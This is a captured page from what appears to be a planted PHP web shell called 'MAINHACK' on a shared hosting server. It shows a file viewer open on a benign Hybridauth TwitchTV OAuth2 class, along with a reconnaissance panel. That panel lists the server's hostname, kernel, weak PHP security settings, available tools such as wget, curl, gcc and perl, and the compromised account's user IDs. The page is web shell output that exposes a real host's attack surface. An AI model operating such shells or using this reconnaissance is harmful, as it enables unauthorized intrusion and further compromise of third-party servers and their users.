[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: TwitchTV.php
File is not writable. Editing disabled.
<?php /*! * Hybridauth * https://hybridauth.github.io | https://github.com/hybridauth/hybridauth * (c) 2017 Hybridauth authors | https://hybridauth.github.io/license.html */ namespace Hybridauth\Provider; use Hybridauth\Adapter\OAuth2; use Hybridauth\Exception\UnexpectedApiResponseException; use Hybridauth\Data; use Hybridauth\User; /** * TwitchTV OAuth2 provider adapter. */ class TwitchTV extends OAuth2 { /** * {@inheritdoc} */ protected $scope = 'user:read:email openid'; /** * {@inheritdoc} */ protected $apiBaseUrl = 'https://api.twitch.tv/helix/'; /** * {@inheritdoc} */ protected $authorizeUrl = 'https://id.twitch.tv/oauth2/authorize'; /** * {@inheritdoc} */ protected $accessTokenUrl = 'https://id.twitch.tv/oauth2/token'; /** * {@inheritdoc} */ protected $apiDocumentation = 'https://dev.twitch.tv/docs/authentication/'; /** * {@inheritdoc} */ protected function initialize() { parent::initialize(); $this->apiRequestHeaders['Client-ID'] = $this->clientId; $this->AuthorizeUrlParameters += [ 'claims' => json_encode([ 'id_token' => [ 'email_verified' => null ], 'userinfo' => [ 'email_verified' => null, ] ]) ]; } /** * {@inheritdoc} */ public function getUserProfile() { $response = $this->apiRequest('users'); $data = new Data\Collection($response); if (!$data->exists('data')) { throw new UnexpectedApiResponseException('Provider API returned an unexpected response.'); } $users = $data->filter('data')->values(); $user = new Data\Collection($users[0]); $userProfile = new User\Profile(); $userProfile->identifier = $user->get('id'); $userProfile->displayName = $user->get('display_name'); $userProfile->photoURL = $user->get('profile_image_url'); $userProfile->email = $user->get('email'); $userProfile->description = strip_tags($user->get('description')); $userProfile->profileURL = "https://www.twitch.tv/{$userProfile->displayName}"; // Fetch OIDC userinfo for email_verified $oidc = $this->apiRequest('https://id.twitch.tv/oauth2/userinfo'); if(!empty($oidc) && !empty($oidc->email_verified)){ $userProfile->emailVerified = true; } return $userProfile; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 727.8 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: N/A